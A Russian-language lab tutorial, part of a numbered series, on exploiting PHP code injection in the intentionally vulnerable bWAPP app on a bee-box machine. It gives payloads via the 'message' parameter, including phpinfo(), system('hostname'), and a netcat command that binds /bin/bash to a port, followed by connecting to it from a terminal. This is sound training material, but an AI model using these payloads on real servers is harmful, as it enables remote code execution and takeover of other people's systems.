#11 Уязвимость — PHP Code Injection.
Здравствуйте, дорогие друзья.
В рамках данного урока мы рассмотрим уязвимость внедрения кода PHP.
Он выводится на стороне сервера. Данная уязвимость возникает, когда приложение включает управляемые пользователем данные в строку URL, которая динамически оценивается интерпретатором кода.
Если пользовательские данные строго не проверены, злоумышленник может использовать специально созданный ввод для изменения кода, который должен быть выполнен, и ввести произвольный код, который будет выполняться сервером.
Уязвимости внедрения кода на стороне сервера, как правило, очень серьезны и приводят к полной компрометации данных и функциональности приложения, а также часто сервера, на котором размещается приложение. Также возможно использовать сервер в качестве платформы для дальнейших атак на другие системы.
Переходим к практике, и будем тестить веб-приложение bWAPP, на машине «bee-box». Переходим на вкладку «PHP Code Injection», на уровне «low»:
Для выявления уязвимости нам нужно в адресной строке URL прописать какой-либо текст, добавив в начало записи «?message=»:
Мы успешно проэксплуатировали данную уязвимость. Пойдем дальше, и попытаемся вывести версию PHP, с подробными параметрами. Это делается с помощью записи: «; phpinfo()». В начало я добавлю все тот-же текст «timcore»:
Можем поиграться, и вывести имя хоста. Это делается с помощью записи «system(„hostname“)»:
Можем вывести обратное соединение с уязвимой веб-страницы. Мы уже знаем эту команду, и она будет выглядеть как: «system(‘nc -lvp 4444 -e /bin/bash’)»:
Перейдем в терминал, и воспользуемся инструментом «netcat». Команда будет выглядеть как: «nc -nv 10.0.2.18 4444»:
После этого можно потестить команды, например: «id», «pwd» и т. д.
На этом все. Всем хорошего дня!
#2 bWAPP (Bee-Box) — первоначальная настройка.
#3 Уязвимость HTMl Injection — Reflected (GET) уровень (Medium).
#4 Уязвимость HTML Injection — Reflected (POST) уровень (Low).
#5 Уязвимость HTML Injection — Reflected (POST) средний уровень.
#6 Уязвимость HTML Injection — Reflected (Current URL) уровень low.
#7 Уязвимость HTML Injection — Stored (Blog).
#8 Уязвимость iFrame-Injection.